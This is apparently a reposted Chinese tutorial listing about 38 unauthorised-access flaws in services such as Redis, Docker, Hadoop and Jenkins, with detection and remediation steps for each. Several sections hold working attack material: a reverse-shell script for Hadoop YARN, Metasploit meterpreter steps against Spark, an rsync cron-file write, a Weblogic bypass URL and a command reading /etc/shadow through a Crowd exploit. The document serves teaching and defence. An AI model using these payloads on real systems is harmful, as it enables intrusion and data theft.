Skip to main content

常见未授权访问漏洞汇总

本文由 简悦 SimpRead 转码, 原文地址 www.cnblogs.com

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担!!!

本文导读:

  • 本文覆盖了目前网络资讯上公布的 30 + 种未授权访问漏洞
  • 本文把未授权访问漏洞按照默认端口顺序从小到大排列,对于默认端口可进行批量端口探测服务,再进一步进行漏洞检测,逻辑清晰,方便学者学习和漏洞复现。
  • 本文涵盖漏洞描述、漏洞检测和漏洞修复建议为一体,深层次利用不在本文,可自行网上搜索。

未授权访问漏洞介绍

  未授权访问漏洞是一个在企业内部非常常见的问题,未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷,导致其他用户可以直接访问,从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。

  演示环境搭建:

      使用 vulhub 搭建漏洞演示环境

      参考:https://vulhub.org/#/docs/install-docker/

未授权访问漏洞汇总预览

   1 、FTP 未授权访问(21)

2 、LDAP 未授权访问(389)

3 、Rsync 未授权访问(873)

4 、ZooKeeper 未授权访问(2181)

5 、Docker 未授权访问(2375)

6 、Docker Registry 未授权(5000)

7 、Kibana 未授权访问(5601)

8 、VNC 未授权访问(5900、5901)

9 、CouchDB 未授权访问(5984)

10 、Apache Spark 未授权访问(6066、8081、8082)

11 、Redis 未授权访问(6379)

12 、Weblogic 未授权访问(7001)

13 、HadoopYARN 未授权访问(8088)

14 、JBoss 未授权访问(8080)

15 、Jenkins 未授权访问(8080)

16 、Kubernetes Api Server 未授权(8080、10250)

17 、Active MQ 未授权访问(8161)

18 、Jupyter Notebook 未授权访问(8888)

19 、Elasticsearch 未授权访问(9200、9300)

20 、Zabbix 未授权访问(10051)

21 、Memcached 未授权访问(11211)

22 、RabbitMQ 未授权访问(15672、15692、25672)

23 、MongoDB 未授权访问(27017

24 、NFS 未授权访问(2049、20048)

25 、Dubbo 未授权访问(28096)

26 、Druid 未授权访问

27 、Solr 未授权访问

28 、SpringBoot Actuator 未授权访问

29 、SwaggerUI 未授权访问漏洞

30 、Harbor 未授权添加管理员漏洞

31 、Windows ipc 共享未授权访问漏洞

32 、宝塔 phpmyadmin 未授权访问

33 、WordPress 未授权访问漏洞

34 、Atlassian Crowd 未授权访问

35 、PHP-FPM Fastcgi 未授权访问漏洞

36 、uWSGI 未授权访问漏洞

37 、Kong 未授权访问漏洞 (CVE-2020-11710)

38 、ThinkAdminV6 未授权访问漏洞

1.  FTP 未授权访问(21)

漏洞简介

  FTP 弱口令或匿名登录漏洞,一般指使用 FTP 的用户启用了匿名登录功能,或系统口令的长度太短、复杂度不够、仅包含数字、或仅包含字母等,容易被黑客攻击,发生恶意文件上传或更严重的入侵行为。

漏洞检测

  1、端口扫描

  2、直接访问 ftp 路径:ftp://ip:port/

漏洞修复

  • 禁止匿名登录;
  • 配置强密码,密码长度建议八位以上,且密码应包括大小写字母、特殊字符、数字混合体;

2.  LDAP 未授权访问(389)

漏洞简介

  LDAP 中文全称为:轻型目录访问协议(Lightweight Directory Access Protocol),默认使用 389, LDAP 底层一般使用 TCP 或 UDP 作为传输协议。目录服务是一个特殊的数据库,是一种以树状结构的目录数据库为基础。未对 LDAP 的访问进行密码验证,导致未授权访问。

漏洞检测

  1、端口扫描

  2、使用 nmap 寻找到相关的 LDAP 服务器,可以使用 ldapbrowser 工具(下载:https://ldapbrowserwindows.com/)直接连接,获取目录内容。

漏洞修复

  • 修改 ldap 的 acl,禁止匿名访问。
  • 根据业务设置 ldap 访问白名单或黑名单;

3.  Rsync 未授权访问(873)

漏洞简介

  rsync 是 Linux/Unix 下的一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件和目录,默认运行在 873 端口。由于配置不当,导致任何人可未授权访问 rsync,上传本地文件,下载服务器文件。

漏洞检测

  1、端口扫描

  2、root@kali 使用 Rsync 命令即可进行检测。

    rsync rsync://192.168.126.130:873/

    rsync rsync://192.168.126.130:873/src

  利用 rsync 下载任意文件

    rsync rsync://192.168.126.130:873/src/

    etc/passwd ./

    或者写入任意文件

    rsync -av shell rsync://192.168.126.130:873/src/etc/cron.d/shell

漏洞修复

  • 隐藏掉 module 信息:修改配置文件 list =false。
  • 权限控制:不需要写入权限的 module 的设置为只读 Read only = true;
  • 网络访问控制:使用安全组策略或白名单限制,只允许必要访问的主机访问;
  • 账户认证:只允许指定的用户利用指定的密码使用 rsync 服务;
  • 数据加密传输:Rsync 默认没有直接支持加密传输,如果需要 Rsync 同步重要性很高的数据,可以使用 ssh;
  • 参考文章:https://www.freebuf.com/column/202771.html

4.  ZooKeeper 未授权访问(2181)

漏洞简介

  ZooKeeper 是一个分布式的开放源码的分布式应用程序协调服务,ZooKeeper 默认开启在 2181 端口在未进行任何访问控制的情况下攻击者可通过执行 envi 命令获得系统大量的敏感信息包括系统名称 Java 环境,任意用户在网络可达的情况下进行为未授权访问并读取数据甚至 kill 服务。

漏洞检测

  1、端口扫描

  2、漏洞复现

    执行 root@kali:~# echo envi|nc 192.168.131.128 2181 获取服务器环境信息:

    root@kali:~# echo stat |nc 192.168.131.128 2181

漏洞修复

  • 为 ZooKeeper 配置相应的访问权限;
  • 设置防火墙策略;
  • 禁止把 Zookeeper 直接暴露在公网;

5.  Docker 未授权访问(2375)

漏洞简介

  该未授权访问漏洞是因为 Docker API 可以执行 Docker 命令,该接口是目的是取代 Docker 命令界面,通过 URL 操作 Docker。

漏洞检测

  • 端口扫描
  • 直接输入地址 http://your-ip:2375/version。若能访问,证明存在未授权访问漏洞。

漏洞修复

  • 对 2375 端口做网络访问控制,如 ACL 控制,或者访问规则;
  • 修改 docker swarm 的认证方式,使用 TLS 认证;

6.  Docker Registry 未授权(5000)

  默认 5000 端口,docker remote api 可以执行 docker 命令,该接口是目的是取代 docker 命令界面,通过 url 操作 docker。

漏洞检测:

  1、端口扫描

  2、http://10.101.20.43:5000/v2

     http://10.101.20.43:5000/v2/_catalog

安全建议

  1、设置 ACL,只允许信任 ip 连接对应端口

  2、开启 TLS,使用生成的证书进行认证

7.  Kibana 未授权访问(5601)

漏洞简介

  Kibana 如果允许外网访问,没有做安全的登录认证,也会被外部随意访问查看所有的数据,造成少数据泄露。

漏洞检测

  1、端口扫描

  2、直接访问 kibana 的页面

    http://192.168.126.130:5601/

    https://192.168.126.130/app/kibana#

    http://192.168.126.130:5601/app/kibana#/

     无需账号密码可以登录进入界面

漏洞修复

  • 设置 kibana 监听本地地址,并设置 ElasticSearch 登录的账号和密码;
  • 设置防火墙策略,限定 IP 访问服务;

8.  VNC 未授权访问(5900、5901)

漏洞简介

  VNC 是虚拟网络控制台 Virtual Network Console 的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司 AT&T 的欧洲研究实验室开发。VNC 是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。

  VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制受控主机危害相当严重。

漏洞检测

  1、端口扫描

    

  2、使用 VNC 客户端连接主机   

    VNC-Viewer 工具下载 (https://www.realvnc.com/en/connect/download/viewer/windows/)

    安装过程,双击 msi 文件一路下一步就可以了。

    在 VNC 客户端输入目标服务器 IP,之后点击确定、连接,即可成功控制目标服务器

      

      

      

漏洞修复

  • 配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码;
  • 以最小权限的普通用户身份运行操作系统;

9.  CouchDB 未授权访问(5984)

漏洞简介

  Apache CouchDB 是一个开源数据库,默认会在 5984 端口开放 Restful 的 API 接口,如果使用 SSL 的话就会监听在 6984 端口,用于数据库的管理功能。其 HTTP Server 默认开启时没有进行验证,而且绑定在 0.0.0.0,所有用户均可通过 API 访问导致未授权访问。

  在官方配置文档中对 HTTP Server 的配置有 WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。

漏洞检测

  1、端口扫描

  2、未授权访问 kali 测试命令

    curl 192.168.126.130:5984

    curl 192.168.126.130:5984/_config

      

漏洞修复

  • 指定 CouchDB 绑定的 IP (需要重启 CouchDB 才能生效)在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。注:修改后只有本机才能访问 CouchDB。
  • 设置访问密码(需要重启 CouchDB 才能生效)在 /etc/couchdb/local.ini 中找到 “[admins]” 字段配置密码。
  • 设置 WWW-Authenticate,强制认证。

10.    Apache Spark 未授权访问(6066、8081、8082)

漏洞简介

  Apache Spark 是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动访问控制,攻击者可以在集群中执行任意代码。该漏洞的本质是未授权用户可以向 Master 节点提交一个应用,Master 节点会分发给 Slave 节点执行应用。如果应用中包含恶意代码,会导致任意代码执行,威胁 Spark 集群整体的安全性。

漏洞检测

  nmap 扫描出如下端口开放,则很有可能存在漏洞

    

      

  使用 msf 工具 getshell

msf5>use exploit/linux/http/spark_unauth_rce

msf5>set payload java/meterpreter/reverse_tcp

msf5>set rhost 192.168.100.2

msf5>set rport 6066

msf5>set lhost 192.168.100.1

msf5>set lport 4444

msf5>set srvhost 192.168.100.1

msf5>set srvport 8080

msf5>exploit

    

漏洞修复

  • 对外关闭敏感端口;
  • 配置用户权限认证;

参考文章:https://www.cnblogs.com/KevinGeorge/p/10399844.html

11.    Redis 未授权访问(6379)

漏洞简介

  redis 是一个数据库,默认端口是 6379,redis 默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作 redis 进一步控制服务器。

  Redis 未授权访问在 4.x/5.0.5 以前版本下,可以使用 master/slave 模式加载远程模块,通过动态链接库的方式执行任意命令。

漏洞检测

  • 端口扫描
  • Kali 连接主机

  (1)kali 安装 redis-cli 远程连接工具

wget http://download.redis.io/redis-stable.tar.gz

tar -zxvf redis-stable.tar.gz

cd redis-stable

make

cp src/redis-cli /usr/bin/

redis-cli -h

  (2)使用 redis-cli 命令直接远程免密登录 redis 主机

    redis-cli -h 目标主机 IP

    

  (3)尝试 keys * 命令,若存在以下页面,则存在漏洞

(4)进一步利用

    利用 redis 可视化工具 Another Redis Desktop Manager

    

漏洞修复

到 redis 安装目录下,配置 redis.conf 文件:

  1、默认只对本地开放

    bind 127.0.0.1

  2、添加登陆密码

    修改 redis.conf 文件,添加

    requirepass  mypasswd

  3、在需要对外开放的时候修改默认端口(端口不重复就可以)

    port 2344

  4、以低权限运行 Redis 服务(重启 redis 才能生效)

    为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

  5、最后还可以配合 iptables 限制开放

12.    Weblogic 未授权访问(7001)

漏洞简介

  Weblogic 是 Oracle 公司推出的 J2EE 应用服务器,CVE-2020-14882 允许未授权的用户绕过管理控制台的权限验证访问后台。

  CVE-2020-14883 允许后台任意用户通过 HTTP 协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个 GET 请求在远程 Weblogic 服务器上以未授权的任意用户身份执行命令。

漏洞检测

  1、端口扫描

  2、使用 vulhub 搭建漏洞演示环境

    cd vulhub/weblogic/CVE-2020-14882

    sudo docker-compose up –d

  攻击者可以构造特殊请求的 URL,即可未授权访问到管理后台页面:

  http://192.168.126.130:7001/console/css/%252e%252e%252fconsole.portal

  远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。  

漏洞修复

  • 下载补丁程序并安装更新;

13.    HadoopYARN 未授权访问(8088)

漏洞简介

  Hadoop 是一款由 Apache 基金会推出的分布式系统框架,它通过著名的 MapReduce 算法进行分布式处理,Yarn 是 Hadoop 集群的资源管理系统。

  此次事件主要因 HadoopYARN 资源管理系统配置不当,导致可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可通过 RESTAPI 部署任务来执行任意指令,最终完全控制服务器。

漏洞检测

  1、端口扫描

  2、使用 vulhub 搭建漏洞演示环境

    cd /vulhub/hadoop/unauthorized-yarn

    docker-compose up -d

  3、环境启动后,没有配置身份认证,可以未授权访问到 Hadoop YARN ResourceManager WebUI 页面。

    http://192.168.126.130:8088/

    http://192.168.126.130:8088/cluster

    

    利用该漏洞,可以进一步 getshell

    

    脚本源码如下:rce.py

#!/usr/bin/env python
import requests
target = 'http://192.168.126.130:8088/' # 设置目标主机的ip地址
lhost = '192.168.126.128' # 设置你攻击主机的监听ip地址,并且监听端口为9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

    

漏洞修复

  • 升级 Hadoop 到 x 版本以上,并启用 Kerberos 认证功能,禁止匿名访问;
  • 设置 “安全组” 访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口;
  • 如无必要,关闭 Hadoop Web 管理页面;

14.    JBoss 未授权访问(8080)

漏洞简介

  漏洞简述 JBOSS 企业应用平台 EAP 是 J2EE 应用的中间件平台。默认情况下访问 http://ip:8080/jmx-console,就可以浏览 Jboss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

漏洞检测

  1、端口扫描

  2、直接访问 http://ip:port/,看是否能进入 jmx-consoleweb-console 页面

    http://ip:8080/

    http://ip:8080/jmx-console/

    http://ip:8080/jbossws/

  

漏洞修复

  • 添加 JMX 控制页面身份认证;
  • 进行 JMX Console 安全配置;
  • 关闭 jmx-console 和 web-console;

15.    Jenkins 未授权访问(8080)

漏洞简介

  默认情况下 Jenkins 面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。

漏洞检测

  1、端口扫描

  2、直接通过 url 输入以下地址,若能访问,证明存在未授权访问漏洞。

    http://<target>:8080/manage

    http://<target>:8080/script

  

  未授权访问 http://<target>:8080/script,可以执行系统命令

  # 命令格式

    println 'whoami'.execute().text

    

漏洞修复

  • 对后台控制页面做登录验证限制;
  • 升级 Jenkins 至新版本;
  • 禁止把 Jenkins 直接暴露在公网;

16.    Kubernetes Api Server 未授权(8080、10250)

漏洞简介

  Kubernetes 的服务在正常启动后会开启两个端口:Localhost Port (默认 8080)、Secure Port (默认 6443)。这两个端口都是提供 Api Server 服务的,一个可以直接通过 Web 访问,另一个可以通过 kubectl 客户端进行调用。如果运维人员没有合理的配置验证和权限,那么攻击者就可以通过这两个接口去获取容器的权限。

漏洞检测

  1、端口扫描

    使用 nmap 寻找相关的端口和服务,直接访问脆弱的服务

  2、检测

    (1)端口:8080 http://10.10.4.89:8080/

    

    (2)端口:8080:api dashboard:http://10.10.4.89:8080/ui

    

    (3)端口:10250端口是 kubelet API 的 HTTPS 端口,通过路径:https://xxx/10250/pods获取环境变量、运行的容器信息、命名空间等信息。

    

漏洞修复

  • 进行授权认证;
  • 使用 Service Account 令牌;
  • 设置防火墙策略,限定 IP 访问服务;

17.    Active MQ 未授权访问(8161)

漏洞简介

  ActiveMQ 是一款流行的开源消息服务器。默认情况下,ActiveMQ 服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。

漏洞检测

  默认端口:8161

  默认密码:admin/admin

漏洞修复

  • 针对未授权访问,可修改conf/jetty.xml文件,bean id 为 securityConstraint 下的 authenticate 修改值为true,重启服务即可。
  • 针对弱口令,可修改conf/jetty.xml文件,bean id 为 securityLoginService 下的 conf 值获取用户 properties,修改用户名密码,重启服务即可。

18.    Jupyter Notebook 未授权访问(8888)

漏洞简介

  Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。如果管理员未为 Jupyter Notebook 配置密码,将导致未授权访问漏洞,游客可在其中创建一个 console 并执行任意 Python 代码和命令。

漏洞检测

  1、使用 vulhub 搭建漏洞演示环境

    cd /vulhub/jupyter/notebook-rce

    docker-compose up -d

  2、端口扫描

  3、访问http://your-ip:8888,将看到 Jupyter Notebook 的 Web 管理界面,并没有要求填写密码。

    

    选择 new -> terminal 即可创建一个控制台:

      

    直接执行任意命令:

      

漏洞修复

  • 开启身份验证,防止未经授权用户访问;
  • 访问控制策略,限制 IP 访问,绑定固定 IP;

19.    Elasticsearch 未授权访问(9200、9300)

漏洞简介

  Elasticsearch 是一款 java 编写的企业级搜索服务。越来越多的公司使用 ELK 作为日志分析,启动此服务默认会开放 9200 端口或者 9300 端口,可被非法操作数据。

漏洞检测

  1、端口扫描

  2、浏览器访问测试命令

    http://localhost:9200

    http://localhost:9200/_cat/

    http://localhost:9200/_cat/indices

    http://localhost:9200/_river/_search //查看数据库敏感信息

    http://localhost:9200/_nodes         //查看节点数据

    如有安装 head 插件:

      http://localhost:9200/_plugin/head/  //web管理界面

      

      

      

漏洞修复

  • 访问控制策略,限制 IP 访问,绑定固定 IP;
  • 在 config/elasticsearch.yml 中为 9200 端口设置认证等;

20.    Zabbix 未授权访问(10051)

漏洞简介

  zabbix 是一款服务器监控软件,默认服务开放端口为 10051,其由 server、agent、web 等模块组成,其中 web 模块由 PHP 编写,用来显示数据库中的结果。

漏洞检测

  1、端口扫描

  2、无需账户密码直接访问 zabbix 页面

    

漏洞修复

  • 设置 zabbix 的复杂口令,不要用默认口令或弱口令,禁用 guest 登录功能;
  • zabbix 的 server 和 agent 都不要以 root 启动,不要设置 AllowRoot=1;
  • 禁止 agent 执行 run,不要设置 EnableRemoteCommands=1;

21.    Memcached 未授权访问(11211)

漏洞简介

  Memcached 端口对外开放并且没有配置认证选项,未授权用户可直接获取数据库中所有信息,造成严重的信息泄露。

漏洞检测

  1、端口扫描

  2、无需用户名密码,可以直接连接 memcache 服务的 11211 端口

    telnet 10.10.4.89 11211

    # 或者

    nc -vv 11211   

telnet 192.168.96.128 11211

      

    使用了 stats 命令来输出 Memcached 服务信息

      

nc -vv 192.168.96.128 11211

      

漏洞修复

  • 修改绑定的 IP、端口和指定访问者 IP;
  • 设置防火墙策略;
  • 禁止暴露在公网;
  • 配置 memcached 监听本地回环地址
  • 127.0.0.1;

22.    RabbitMQ 未授权访问(15672、15692、25672)

漏洞简介

  RabbitMQ 是目前非常热门的一款消息中间件,基于 AMQP 协议的,可以在发布者和使用者之间交换异步消息。消息可以是人类可读的 JSON,简单字符串或可以转换为 JSON 字符串的值列表。

漏洞检测

  1、端口扫描

  2、浏览器访问测试

    默认账号密码都是 guest

    http://10.10.4.89:15672

    http://10.10.4.89:15692

    http://10.10.4.89:25672

      

漏洞修复

  • 修改为强密码,删除默认的账号 guest;
  • 禁止对外网开放,仅限于内部访问;

23.    MongoDB 未授权访问(27017)

漏洞简介

  开启 MongoDB 服务时不添加任何参数时, 默认是没有权限验证的, 登录的用户可以通过默认端口无需密码对数据库任意操作(增、删、改、查高危动作)而且可以远程访问数据库。

  造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 –auth 也很少会有人会给数据库添加上账号密码(默认空口令),使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。

漏洞检测

  1、端口扫描

  2、kali 安装 mongodb,然后直接连接到服务。

    yum install mongodb

    mongo --host 10.2.20.34 --port 27017

      

漏洞修复

  • 限制绑定 IP,启动时加入参数 --bind_ip 127.0.0.1 或在 / etc/mongodb.conf 文件中添加以下内容:bind_ip = 127.0.0.1;
  • 在 system.users 中添加用户,启动认证;
  • 设置防火墙策略,限定 IP 访问服务;
  • 禁用 HTTP 和 REST 端口,修改配置文件或在启动的时候选择参数 nohttpinterface=false;

24.    NFS 未授权访问(2049、20048)

漏洞简介

  Network File System(NFS),是由 SUN 公司研制的 UNIX 表示层协议 (pressentation layer protocol),能使使用者访问网络上别处的文件就像在使用自己的计算机一样。服务器在启用 nfs 服务以后,由于 nfs 服务未限制对外访问,导致共享目录泄漏。

漏洞检测

  1、端口扫描

  2、

    #linux 安装 nfs 客户端

      apt install nfs-common

    # 查看 nfs 服务器上的共享目录

      showmount -e 192.168.126.130

    # 挂载相应共享目录到本地

      mount -t nfs 192.168.126.130:/grdata /mnt

    # 卸载目录

      umount /mnt

漏洞修复

  • 利用 iptables 限制端口204920048端口的访问,禁止外部访问
  • 设置/etc/exports,对访问进行控制;

25.    Dubbo 未授权访问(28096)

漏洞简介

  Dubbo 是阿里巴巴公司开源的一个高性能优秀的 服务框架,使得应用可通过高性能的 RPC 实现服务的输 出和输入功能,可以和 Spring 框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。

漏洞检测

  1、端口扫描

  2、连接进入 dubbo 服务,进行操作

    telent IP port

      

      

漏洞修复

  • 配置 dubbo 认证;
  • 设置防火墙策略,限定 IP 访问;

26.    Druid 未授权访问

漏洞简介

  Druid 是阿里巴巴数据库出品的,为监控而生的数据库连接池,并且 Druid 提供的监控功能,监控 SQL 的执行时间、监控 Web URI 的请求、Session 监控,首先 Druid 是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问。

漏洞检测

  直接在网站的 url 中后加上:

    /druid/index.html

    /druid/websession.html

    /druid/datasource.html

    /druid/sql.html

    /druid/spring.html

  如果可以无需登录,即可登录到 Druid 监控界面,则说明该网站存在 Druid 未授权访问漏洞

    

漏洞修复

  • 配置访问账号密码;
  • 禁止对外网开放访问;

27.    Solr 未授权访问

漏洞简介

  Solr 是一个高性能,采用 Java 开发,基于 Lucene 的全文搜索服务器。solr 的管理界面通常包含如下信息:solr 的配置信息(包括路径,用户名,系统版本信息),数据库的配置信息(地址,用户名,密码),数据库搜索数据等。solr 未授权访问的危害很大,轻则可查询所有数据库信息,重则可读取系统任意文件,甚至 getshell。

漏洞检测

  敏感目录扫描时加上一条 /solr/admin

    http://xx.xx.com/solr/admin

    https://xx.xx.com/solr/admin

      

漏洞修复

  • 配置 solr 访问控制权限;
  • 禁止将 solr 暴露在公网;

28.    SpringBoot Actuator 未授权访问

漏洞简介

  Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,从而导致信息泄露甚至服务器被接管的事件发生。

漏洞检测

  1、直接访问相关路径:

    http://10.2.20.48`/actuator/autoconfig`

    http://10.2.20.48 /actuator/env

    http://10.2.20.48`/actuator/dump`

    http://10.2.20.48`/actuator/headdump`可下载

      

  2、actuator 未直接部署在 IP 根目录下

    使用 burpsuite 的插件:APIKit

    介绍:https://www.bilibili.com/read/cv15912732

    介绍:https://blog.csdn.net/qq_50854790/article/details/122894291

漏洞修复

  • 禁用/env接口
  • 升级到 SpringBoot Actuator 2.0;
  • 禁止对外开放;

29.    SwaggerUI 未授权访问漏洞

背景

  Swagger 是一个规范且完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。

漏洞检测

  1、可利用未授权访问漏洞,直接访问以下链接:

漏洞检测

  1、可利用未授权访问漏洞,直接访问以下链接(目录遍历)

    

  2、swagger-ui 未直接部署在 IP 根目录下

    使用 burpsuite 的插件:APIKit

    介绍:https://www.bilibili.com/read/cv15912732

    介绍:https://blog.csdn.net/qq_50854790/article/details/122894291

修复方法

  • 设置访问权限

30.    Harbor 未授权添加管理员漏洞

  Harbor 未授权添加任意管理员漏洞。攻击者可通过构造特定的字符串,在未授权的情况下直接创建管理员账号,从而接管 Harbor 镜像仓库。

  漏洞地址:http://10.101.20.111/harbor/sign-in

    

    

  成功添加用户,账号 coco 密码 coco1234

      

  成功接管 harbor 镜像仓库

    

安全建议

  尽快升级到安全版本,下载链接参考:

    https://github.com/goharbor/harbor/releases

31.    Windows ipc 共享未授权访问漏洞

  

32.    宝塔 phpmyadmin 未授权访问

漏洞简介

  宝塔Linux面板7.4.2版本Windows面板6.8版本存在 phpmyadmin 未授权访问漏洞

  phpmyadmin 未鉴权,可通过特定地址直接登录数据库的漏洞。

漏洞检测

  1、目录扫描:/pma   或者 /phpmyadmin

  2、漏洞 URL:http://ip:888/pma

    即可直接登录(但要求必须安装了 phpmyadmin)

    

漏洞修复

  更新宝塔 phpmyadmin 为最新版本

33.     WordPress 未授权访问漏洞

漏洞复现

  可参考:https://www.cnblogs.com/bflw/p/12342845.html

34.    Atlassian Crowd 未授权访问

漏洞简介

  Atlassian Crowd 是一套基于 Web 的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center 是 Crowd 的集群部署版。

  Atlassian Crowd 和 Crowd Data Center 在其某些发行版本中错误地启用了 pdkinstall 开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对 Atlassian Crowd 和 Crowd Data Center 安装任意的恶意插件,执行任意代码 / 命令,从而获得服务器权限。

漏洞检测

  漏洞利用脚本 github 地址:https://github.com/jas502n/CVE-2019-11580

    git clone https://github.com/jas502n/CVE-2019-11580

    cd CVE-2019-11580/

    python CVE-2019-11580.py http://192.168.18.138:8095

    curl  http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow

漏洞修复

  • 设置访问 / crowd/admin/uploadplugin.action 的源 ip。
  • 升级最新版本 (3.5.0 以上)。

35.    PHP-FPM Fastcgi 未授权访问漏洞

  详情请见:https://www.freebuf.com/articles/web/278245.html第 25 条

    

36.     uWSGI 未授权访问漏洞

  详情请见:https://www.freebuf.com/articles/web/278245.html第 27 条

    

37. Kong 未授权访问漏洞 (CVE-2020-11710)

环境部署

  略。

漏洞复现

  复现可参考 https://xz.aliyun.com/t/7631

38. ThinkAdminV6 未授权访问漏洞

环境部署

  略。

漏洞复现

  可参考 https://www.cnblogs.com/cn-gov/p/13715861.html

【归纳补充】

补充:批量检测漏洞思路(史上最经典)

  • 批量探测默认端口
  • 对于拼接字符串检测的未授权漏洞,使用自定义字典进行批量目录扫描,查看状态码。对于正常响应的,可以批量进行浏览器访问测试(工具:http://www.ab173.com/zhanzhang/openurls.php

【参考文章】

1、二十九种未授权访问漏洞合集,真的很全面

  https://www.sohu.com/a/551258460_121349997

2、超全面未授权访问漏洞复现合集 (含:测试环境部署 和 进一步漏洞利用)

  https://www.freebuf.com/articles/web/278245.html

3、常用的 30 + 种未授权访问漏洞汇总

  https://mp.weixin.qq.com/s/r2OafWfNxAQgH1z7pKdX3A